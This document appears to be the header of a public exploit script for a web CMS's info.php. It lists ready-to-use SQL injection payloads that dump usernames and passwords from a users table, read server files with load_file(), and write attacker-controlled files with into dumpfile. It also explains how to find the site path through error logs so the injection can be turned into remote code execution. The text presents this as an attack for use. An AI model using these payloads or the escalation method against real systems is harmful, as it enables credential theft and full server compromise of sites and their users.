# |BUG [Sql Injection]

# |SQL Injections used by this sploit :
# |[1] /path]/info.php?item=-2' union all select concat(username,0x3a,password),0 from f06_users order by '*
# |[2] /path]/info.php?item=-2' union all select load_file('lf'),0 order by '*
# |[3] /path]/info.php?item=-2' union all select 'content',0 into dumpfile 'file
# |----------------------------------------------------------------------------------------------------------------------------------|
# |This exploit just use a trick that came in my mind smocking a cigarette. It's just a SQL Injection vulnerability, but with this
# |trick can become a RCE vulnerability. A lot of people already know the into dumpfile mysql function, but this function needs the
# |path of the site in the server, so the attacker has to find this path to perform a RCE attack.
# |I just found a possible way to find this path. Making a HTTP GET request to a non existent file of the cms, this wrong request will
# |appear into error log files. So, just using then load_file() function on each possible path of error logs, when we will find the
# |right path, will appear error log's content, so we will be able to get the website path in the server just watching near the error
# |that came out after the request to a non existent file. Anyway, soon I will write a paper to talk about this trick.
# |It's just an experimental way to RCE by SQL. Can be emproved. A complete paper will arrive soon !
# |Coz to use this technique you need to know few things before :P
